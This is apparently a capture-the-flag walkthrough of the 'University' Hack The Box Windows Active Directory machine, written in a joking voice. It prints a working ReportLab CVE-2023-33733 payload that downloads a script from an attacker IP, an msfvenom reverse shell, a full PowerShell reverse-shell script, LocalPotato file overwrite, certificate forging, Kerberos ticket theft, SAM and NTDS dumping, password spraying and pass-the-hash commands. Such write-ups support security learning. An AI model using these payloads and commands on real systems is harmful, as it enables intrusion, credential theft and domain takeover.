#
University (Insane)
#
Synopsis
University is an Insane Windows Active Directory machine that starts with a university webpage. The web application allows exporting user profile pages to a PDF using xhtml2pdf
, which is vulnerable to a Remote Code Execution vulnerability via CVE-2023-33733. This allows getting initial access to the machine. Subsequently, the account of a professor is compromised using a forged certificate. With the professor's account, a malicious archive file is uploaded to exploit CVE-2023-36025, which allows getting Remote Code Execution as the user who extracts the archive. A relay attack is then meticulously set up to perform an unconstrained delegation attack. On the newly compromised computer, the Kerberos ticket for a new user is extracted, enabling the reading of the password of a group-managed service account. This account can impersonate the domain Administrator, thus compromising the entire environment.
#
Enumeration
First thing we do is sign up for an account on the university.htb
site. While that’s cooking in the background, we’re also multitasking like it’s finals week by running kerbrute to find some valid users in the domain.
$ kerbrute userenum -d university.htb --dc 10.10.11.39 james.m-x142844.txt
2024/12/22 13:32:36 > Using KDC(s):
2024/12/22 13:32:36 > 10.10.11.39:88
2024/12/22 13:32:36 > [+] VALID USERNAME: william.b@university.htb
2024/12/22 13:32:36 > [+] VALID USERNAME: john.d@university.htb
2024/12/22 13:32:37 > [+] VALID USERNAME: steven.p@university.htb
...
2024/12/22 13:35:40 > [+] VALID USERNAME: kai.k@university.htb
We now have a nice starter pack of usernames — professors, students, maybe that one guy who still emails in Comic Sans. Once we log in, we peep this feature that lets you request a signed certificate. The site hits us with:
You can use it for login without need for credentials, deleting your account and uploading new lectures(for professors only).
Bro... that’s basically giving users a get-in-free wristband. Let’s test it. We make a Certificate Signing Request (CSR) with openssl:
$ openssl req -newkey rsa:2048 -keyout PK.key -out bashee.csr
Enter PEM pass phrase:1234
Verifying - Enter PEM pass phrase:1234
<SNIP>
Common Name (e.g. server FQDN or YOUR name) []:bashee
Email Address []:bashee@university.htb
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Key things here:
- Common Name (CN) = your username on the site
- Email = same one you registered with
- Everything else = filler
Upload the CSR, the site signs it, and you get a key you can use to log in without a password. Cute feature, but we can only sign certs for our account... so no professor impersonation yet.
Doing some clickety-click enumeration, we find a staff profile page at http://university.htb/accounts/profile/visit/2/
:
Username: george
Email: george@university.htb
First name: george
Last Name: lantern
Address: Canada West - Vancouver
Department: Information Systems Security
Now obviously, my villain arc would be to make a cert for George and sneak into professor-only land... but the site says “nah fam” if we try to sign a cert for anyone we’re not logged in as. So for now — we’re locked to our own account cert. We ball later.
#
Foothold
So while poking around the site in my “click every button like a toddler” era, I notice this cute lil’ Export Profile to PDF
feature. Being the nosy guy I am, I yeet that file into exiftool to check metadata.
$ exiftool profile.pdf
Boom — ReportLab shows up in the metadata. Turns out, ReportLab has CVE-2023-33733, a vuln so spicy it lets you slip arbitrary Python code into a PDF's content and get RCE. So naturally, I stuffed my bio with something... special:
<para>
<font color="[[[getattr(pow, Word('__globals__'))['os'].system('curl -o shell.ps1 http://10.10.14.65:8000/shell.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font>
</para>
Translation: curl my PowerShell reverse shell from my attacker box. Then I run a Python webserver on port 8000 to serve the goods, which downloads our PowerShell reverse shell.
<para>
<font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./shell.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font>
</para>
Meanwhile, I’m also running netcat and get a callback as the domain user university\wao
.
$ sudo nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.39 60637
PS C:\Web\University> whoami
university\wao
#
User
I’m chilling in my fresh shell as university\wao
when I check my group memberships and see I'm in Remote Management Users
. That basically means if I can get this user's password, I can hop in through WinRM like it's nothing.
I start creeping around the filesystem like a raccoon on a snack run and eventually find a folder called C:\Web\DB Backup
. Yeah... they really put “Backup” in the name and thought I wouldn’t look. Inside, I see a PowerShell script named db-backup-automator.ps1
. The name alone is giving "developer left something juicy in here", so you already know I’m opening that thing up looking for hardcoded creds or connection strings.
PS C:\Web\DB Backups> cat db-backup-automator.ps1
cat db-backup-automator.ps1
$sourcePath = "C:\Web\University\db.sqlite3"
$destinationPath = "C:\Web\DB Backups\"
$7zExePath = "C:\Program Files\7-Zip\7z.exe"
$zipFileName = "DB-Backup-$(Get-Date -Format 'yyyy-MM-dd').zip"
$zipFilePath = Join-Path -Path $destinationPath -ChildPath $zipFileName
$7zCommand = "& `"$7zExePath`" a `"$zipFilePath`" `"$sourcePath`" -p'WebAO1337'"
Invoke-Expression -Command $7zCommand
So I crack open db-backup-automator.ps1
and, surprise surprise, it’s doing a little "backup the DB and encrypt it" routine — but the password it’s using? Bruh. It's giving lazy dev energy. The script's password is basically WebAO1337
, and since my user is WAO, the math is mathing. I spit those creds into WinRM:
$ evil-winrm -i 10.10.11.39 -u 'wao' -p 'WebAO1337'
And now I’m just sitting here like, pls work, because if it does, we’re about to upgrade from "sneaking in through the bathroom window" to "walking in through the front door with main character energy."
*Evil-WinRM* PS C:\Web\University> download db.sqlite3
Pulled the db.sqlite3
straight off the server with Evil-WinRM — feeling like the main character already. Peep inside the DB and we got user creds and CSR file locations.
sqlite> select id,username,password,csr,user_type from University_customuser;
2|george|pbkdf2_sha256$600000$igb7CzR3ivxQT4urvx0lWw$dAfkiIa438POS8K8s2dRNLy2BKZv7jxDnVuXqbZ61+s=||Professor
3|carolpbkdf2_sha256$600000$i8XRGybY2ASqA3kEuTW4XH$SwK7A52nA1KOnuniKifqWzrjiIyOnrZu7sf+Zvq44qc=||Professor
4|Nour|pbkdf2_sha256$600000$Bg8pRHaZsbGpLwirrZPvvn$7CtXYJhBDrGhiCvjma7X/AOKRWZS2SP0H6PAXvT96Vw=||Professor
5|martin.rose|pbkdf2_sha256$600000$VzP8VVjEQgQw6HvYAftmCl$s9k3UC/e2++hhQDF2KzhunOaAqxbi4rugRb42dC6qr0=||Professor
6|nya|pbkdf2_sha256$600000$1s48WhgRDulQ6FsNgnXjot$SZ4piS9Ryf4mgIj0prEjN+F0pGEDtNti3b9WaQfAeTk=|static/assets/uploads/CSRs/6_mnY36oU.csr|Professor
7|Steven.U|pbkdf2_sha256$600000$70XtdR4HrHHignt7EHiOpT$RP9/4PKHmbtCBq0FOPqyppQKjXntM89vc7jGyjk/zAk=|static/assets/uploads/CSRs/7.csr|Student
Most of it is pretty mid... until I spot professor Nya’s CSR sitting there all cute. Little endpoint fuzzing later and now I’ve also yoinked martin.rose
’s CSR at http://university.htb/static/assets/uploads/CSRs/5.csr
.
*Evil-WinRM* PS C:\Web\University\CA> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/15/2024 5:51 AM 1399 rootCA.crt
-a---- 2/15/2024 5:48 AM 1704 rootCA.key
-a---- 12/22/2024 12:16 PM 42 rootCA.srl
Since we've basically got the keys to the kingdom (rootCA cert + key from the server), I whip up a professor cert for Martin like I'm running my own shady university IT department. Openssl be like “Certificate request self-signature ok” — yeah, it better be.
$ openssl x509 -req -in 5.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial
Certificate request self-signature ok
subject=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = martin.rose, emailAddress = martin.rose@hotmail.com
-----BEGIN CERTIFICATE-----
MIIDiDCCAnACFAnHyzdMyxB5iESwk+CesiDIkfZUMA0GCSqGSIb3DQEBCwUAMH0x
CzAJBgNVBAYTAlVLMRMwEQYDVQQIDApTb21lLVN0YXRlMRcwFQYDVQQKDA5Vbml2
ZXJzaXR5IEx0ZDEXMBUGA1UEAwwOdW5pdmVyc2l0eS5odGIxJzAlBgkqhkiG9w0B
CQEWGGhlYWRhZG1pbkB1bml2ZXJzaXR5Lmh0YjAeFw0yNDEyMjIxNDE4NDFaFw0y
NTAxMjExNDE4NDFaMIGDMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0
ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMRQwEgYDVQQDDAtt
YXJ0aW4ucm9zZTEmMCQGCSqGSIb3DQEJARYXbWFydGluLnJvc2VAaG90bWFpbC5j
b20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaICIYiWqNnf96BDs0
Uu+dt2+AGrfBLJ2M1YRqW7QERj5i2CWCGWgZqoQFLd7RSJFsBmtMMhhaHR+hNoD6
odjTuhPcEbDxUkdAXAY9yqGpzFcy69+Cuv5gDoDUcQoDAIggdS4mRe50j6Gsdx4n
y+vdLAfXEcKszErBdMrmF9f9bj3YP1qwfnXw4BiL82xWk1FV74DRxoQauFuZTkFJ
QbS3/FIA/R2oLvbmcPDXezKG6phb2e6lplbSsAXnDU8xwFLvrd9K2WsB6dvQxk+o
wn09IXmiI1g8j4UFgP5GzUMOirmn8nlj93H8QK/exmLMIlgZb9DWg2uBNO9yMSXY
epZVAgMBAAEwDQYJKoZIhvcNAQELBQADggEBACu3wfyYax3hazAA2wAzD48S1X8G
Vb2l5GFL7ZdK2xniJbmUnXw3jhqUDcyVQGHfKUDXO5ZgViHiaX+mHpKh7KaYJDll
LhrbaGrzOxZncsKHt+UM7yHYsnPZoWH+VfoCQqwKylZIHinuPWPsNgIkSGF0/tae
/SXdZRIPQrbrTqMEvtQ2PCes6nGVTeLo+0oSB7jRO8+Ur6rEMDstGLVOEKVZreRs
MN2k4hq7lST6Xr82Zs9iSwlAwsKa4aYrkAxaVptgyXcUdKD4xbk+Wde8cdA3mV/b
cJxT1hFdCYlYZ1chHGSU6yRArmoGiIOjM/19yDhzjiRyd8MeosIl2Vq/czA=
-----END CERTIFICATE-----
Slide into the site as Martin.
Professors can upload lectures, but the files need to be signed. Cool, so I spin up a GPG key for our fake professor and decide to get messy with it.
$ gpg --gen-key
Real name: martin.rose
Email address: martin.rose@hotmail.com
You selected this USER-ID:
"martin.rose <martin.rose@hotmail.com>"
$ gpg --export -a "martin.rose" > GPG-public-key.asc
A .url
file in our ZIP? Oh yeah, that’s free real estate for pointing to malicious scripts. Drop a batch file on C:\Windows\Temp
, zip a link to it, sign it, upload it. Wait for the magic...
$ cat link.url
[InternetShortcut]
URL=file://C:/Windows/Temp/shell.bat
$ msfvenom -p cmd/windows/reverse_powershell lhost=10.10.14.65 lport=1337 > rev.bat
$ zip Lecture.zip link.url
$ gpg -u "martin.rose" --detach-sign Lecture.zip
Except... crickets. No callback. Alright, pivot time. Ping sweep the 192.168.99.0/24
subnet, find WS-3
and LAB-2
just chilling. Fire up Ligolo-ng, proxy up, route the subnet, and remote into WS-3 like it’s my side chick.
$ sudo ip tuntap add user $USER mode tun ligolo
$ sudo ip link set ligolo up
$ ./proxy -selfcert -laddr 0.0.0.0:11601
PS C:\Windows\Temp> ./agent.exe -connect 10.10.14.65:11601 -ignore-cert
$ sudo ip route add 192.168.99.0/24 dev ligolo
$ evil-winrm -i 192.168.99.2 -u 'wao' -p 'WebAO1337'
We can also SSH into LAB-2 with WAO’s creds and immediately sudo su
into root — easiest W of my life.
$ ssh wao@192.168.99.12
wao@192.168.99.12's password: WebAO1337
$ sudo su
root@LAB-2:#
Alright, so plot twist time — instead of begging the main server to run our payload, we switch to “what if WS-3 does the heavy lifting?” energy. The idea: if a file gets opened from WS-3, we can make it point straight to LAB-2 and skip all the drama. So I tweak my reverse shell to target LAB-2
's IP (192.168.99.12) instead:
$ msfvenom -p cmd/windows/reverse_powershell lhost=192.168.99.12 lport=1337 > rev.bat
*Evil-WinRM* PS C:\Windows\Temp> hostname
WS-3
*Evil-WinRM* PS C:\Windows\Temp> upload shell.bat
Now the plan is simple: craft the .url file so it points at that batch file living on WS-3. As soon as some unsuspecting professor/admin clicks the shortcut, WS-3 will execute it, and boom — the callback will land right in LAB-2’s waiting arms.
root@LAB-2:# nc -nlvp 1337
Listening on [0.0.0.0]
Connection from 192.168.99.2 59755 received!
C:\Users\Martin.T\Desktop>type README.txt
Hello Professors.
We have created this note for all the users on the domain computers: WS-1, WS-2 and WS-3.
These computers have not been updated since 10/29/2023.
Since these devices are used for content evaluation purposes, they should always have the latest security updates.
So please be sure to complete your current assessments and move on to the computers "WS-4" and "WS-5".
The security team will begin working on the updates and applying new security policies early next month.
Best regards.
Help Desk team - Rose Lanosta.
#
Root
Right — now that we’ve got Martin.T
on WS-3
, that “not updated since 10/29/2023” note is basically a neon sign saying “Potato season is open”. The date is hinting to the latest Potato exploit called LocalPotato (a.k.a CVE-2023-21746). This exploit makes it possible to overwrite any file on the server, so let's look for things that seem worthwhile.
One file at C:\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1
seems to be an automated cleanup script. If this script runs with higher privileges (scheduled task, service, or startup script), swapping it out for our payload means the next time it runs, we get a SYSTEM or admin shell.
We will create the following shell.ps1
reverse shell script and then upload it to WS-3
:
$client = New-Object System.Net.Sockets.TCPClient('192.168.99.12',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex ". { $data } 2>&1" | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Now we perform the Potato exploit and start a new netcat listener on LAB-2
.
C:\tmp> .\potato.exe -i C:\tmp\shell.ps1 -o "\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1"
.\potato.exe -i C:\tmp\shell.ps1 -o "Program Files\Automation-Scripts\wpad-cache-cleaner.ps1"
LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV)
by splinter_code & decoder_it
[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAAC/ZTEHh2lnXwwz8QljdkPFAbQAADQMEA/tQveHVe57FisAFQAHAFcAUwAtADMAAAAHADEAOQAyAC4AMQA2ADgALgA5ADkALgAyAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Received DCOM NTLM type 1 authentication from the privileged client
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[+] SMB Client Auth Context swapped with SYSTEM
[+] RPC Server Auth Context swapped with the Current User
[*] Received DCOM NTLM type 3 authentication from the privileged client
[+] SMB reflected DCOM authentication succeeded!
[+] SMB Connect Tree: \\127.0.0.1\c$ success
[+] SMB Create Request File: Program Files\Automation-Scripts\wpad-cache-cleaner.ps1 success
[+] SMB Write Request file: Program Files\Automation-Scripts\wpad-cache-cleaner.ps1 success
[+] SMB Close File success
[+] SMB Tree Disconnect success
Boom — potato’s baked and served. After sitting there like a sniper in the bushes for ~10+ minutes, the task finally ran and called our reverse shell.
root@LAB-2:/# sudo nc -nvlp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from 192.168.99.2 59755 received!
PS C:\Windows\system32> whoami
ws-3\administrator
That’s full local admin on WS-3
. Now there are several ways to get the root flag.
#
Method 1
Ok so first move — dump any user Kerberos tickets from memory and pray we find one. Run Rubeus, dump all tickets, jackpot — Rose's TGT is just sitting there in memory like it’s on clearance. We grab that Base64 ticket, renew it, and inject it straight into our current session with /ptt
.
PS C:\tmp> .\Rubeus.exe dump /nowrap
ServiceName : krbtgt/UNIVERSITY.HTB
ServiceRealm : UNIVERSITY.HTB
UserName : Rose.L
UserRealm : UNIVERSITY.HTB
StartTime : 12/23/2024 11:13:06 AM
EndTime : 12/23/2024 9:11:36 PM
RenewTill : 12/30/2024 11:11:36 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : yyPBB4KJQdaFY9q/6OOMETkXrf+1N+q4gORS/lQtpME=
Base64EncodedTicket : <ROSE_BASE64_TICKET>
PS C:\tmp> .\Rubeus.exe renew /ticket:<ROSE_BASE64_TICKET> /ptt /nowrap
Quick klist check and boom, we’re literally her now.
PS C:\tmp> klist
Current LogonId is 0:0x3e7
Cached Tickets: (2)
#0> Client: Rose.L @ UNIVERSITY.HTB
Server: krbtgt/UNIVERSITY.HTB @ UNIVERSITY.HTB
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
Start Time: 12/23/2024 11:26:13 (local)
End Time: 12/23/2024 21:24:43 (local)
Renew Time: 12/30/2024 11:21:36 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
From BloodHound we see Rose has ReadGMSAPassword rights on the GMSA-PClient01$ account. That’s spicy because that means we can read the machine account password and escalate to Domain Admin with an RBCD attack.
Drop GMSAPasswordReader.exe
, tell it to target "GMSA-PClient01$", and it hands over every hash flavor — RC4, AES128, AES256, DES. The RC4 hash is all we need for the next step.
PS C:\tmp> .\GMSAPasswordReader.exe --AccountName "GMSA-PCLIENT01$"
Calculating hashes for Old Value
[*] Input username : GMSA-PClient01$
[*] Input domain : UNIVERSITY.HTB
[*] Salt : UNIVERSITY.HTBGMSA-PClient01$
[*] rc4_hmac : FD089A6CE20FD923CDE921AB727081F7
[*] aes128_cts_hmac_sha1 : 8D212E250E2F93327E6BFFFB1F6B84FF
[*] aes256_cts_hmac_sha1 : D54377CF68DFFED662689735661C22EA34D8DDCD630A93B0A566A64950C67C3D
[*] des_cbc_md5 : 15E515D5CE9D0D7C
Calculating hashes for Current Value
[*] Input username : GMSA-PClient01$
[*] Input domain : UNIVERSITY.HTB
[*] Salt : UNIVERSITY.HTBGMSA-PClient01$
[*] rc4_hmac : 0D333F335FDA7915C9B62D37056351C6
[*] aes128_cts_hmac_sha1 : B2292EB7C52C682DCDF4C7F36E339461
[*] aes256_cts_hmac_sha1 : E671040580E4C9A3924F32527A231D0A640F9B02612A768DECC6111F3BA7100F
[*] des_cbc_md5 : FB7F0DF2EACE5E76
Since GMSA-PClient01$
is AllowedToAct on the DC, we use Rubeus S4U to impersonate the administrator, requesting a service ticket for CIFS and WinRM on the DC. We inject that ticket, klist again, and it straight up says Client: administrator @ UNIVERSITY.HTB
.
PS C:\tmp> .\Rubeus.exe s4u /user:GMSA-PCLIENT01$ /rc4:0D333F335FDA7915C9B62D37056351C6 /impersonateuser:administrator /msdsspn:cifs/DC.university.htb /altservice:winrm /ptt
PS C:\tmp> klist
Current LogonId is 0:0x3e7
Cached Tickets: (1)
#0> Client: administrator @ UNIVERSITY.HTB
Server: cifs/DC.university.htb @ UNIVERSITY.HTB
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 12/23/2024 11:38:39 (local)
End Time: 12/23/2024 21:38:37 (local)
Renew Time: 12/30/2024 11:38:37 (local)
Session Key Type: AES-128-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
PS C:\tmp> type \\dc.university.htb\c$\users\Administrator\Desktop\root.txt
<REDACTED>
#
Method 2
Another option we have is to dump the SAM database (download it with session in Evil-WinRM). Then we run secretsdump.py
to to spit out every hash in the system, including the golden ticket: a default password chilling in plaintext.
C:\tmp> hostname
WS-3
C:\tmp> reg.exe save hklm\sam SAM
The operation completed successfully.
C:\tmp> reg.exe save hklm\system SYSTEM
The operation completed successfully.
C:\tmp> reg.exe save hklm\security SECURITY
The operation completed successfully.
$ secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xcafb76872642f6bc09dd9e17ae7cddec
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba76a28db8aaeb636566a414f3e104aa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:71ffc7b2d302f8059b92219e7d7a7ba1:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:a8bf1bae201f988dc1ca99f1043e11dc:::
<SNIP>
[*] DefaultPassword
(Unknown User):v3ryS0l!dP@sswd#X
[*] Cleaning up...
We see v3ryS0l!dP@sswd#X
and think: ohhh this is too easy. Password spraying time.
$ nxc smb 10.10.11.39 -u ad_users.txt -p 'v3ryS0l!dP@sswd#X' --continue-on-success
Run it against ad_users.txt
with NetExec, and guess what? Brose.W
is just waiting there with the same password, Backup Operators group, ripe for some NTDS shadow-copy shenanigans.
Fire up Evil-WinRM as Brose.W, drop diskshadow .dsh
script, spin up a shadow copy, expose it to Z:, robocopy the NTDS.dit and SYSTEM.SAV like it’s Hot Wheels. Download them, feed them to secretsdump.py
, and it’s raining domain hashes.
$ evil-winrm -i 10.10.11.39 -u 'university.htb\brose.w' -p 'v3ryS0l!dP@sswd#X'
*Evil-WinRM* PS C:\Users\Brose.W\Documents> cat vss.dsh
set context persistent nowriters
set metadata c:\programdata\df.cab
set verbose on
add volume c: alias df
create
expose %df% z:
*Evil-WinRM* PS C:\Users\Brose.W\Documents> diskshadow /s C:\Users\Brose.W\Documents\vss.dsh
The shadow copy was successfully exposed as z:\.
*Evil-WinRM* PS C:\Users\Brose.W\Documents> robocopy /B Z:\Windows\NTDS .\ntds.dit
*Evil-WinRM* PS C:\Users\Brose.W\Documents> ls
Directory: C:\Users\Brose.W\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/23/2024 3:01 AM 16777216 ntds.dit
-a---- 12/23/2024 1:14 PM 134 vss.dsh
*Evil-WinRM* PS C:\Users\Brose.W\Documents> download ntds.dit
*Evil-WinRM* PS C:\Users\Brose.W\Documents> reg save HKLM\SYSTEM SYSTEM.SAV
*Evil-WinRM* PS C:\Users\Brose.W\Documents> download SYSTEM.SAV
$ secretsdump.py -ntds ntds.dit -system SYSTEM.SAV LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x7704a47762a8cd07d2922fc3e97e02a4
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 53baa9d0678f975750cdfcfc8b9e6f42
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e63413bab01a0b8820983496c0be3a9a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:2522eb84c83b5e9ffde18045be5b9e59:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:41c4599e48661690fa6538fe96d366de:::
<SNIP>
Final move? Administrator hash in hand, Pass-the-Hash time. SMB to the DC, grab root.txt, sit back, sip whatever beverage hackers sip while the domain collapses in slow motion.
$ nxc smb 10.10.11.39 -u 'Administrator' -H 'e63413bab01a0b8820983496c0be3a9a' -x 'cat C:\Users\Administrator\Desktop\root.txt'
Boom. University.HTB? Ours. Every ticket stolen, every hash cracked, every default password abused. The network? Toast. The flags? Collected. The lesson? One tiny slip in AD, one exposed secret, and the kingdom crumbles. Chaos achieved, mission complete.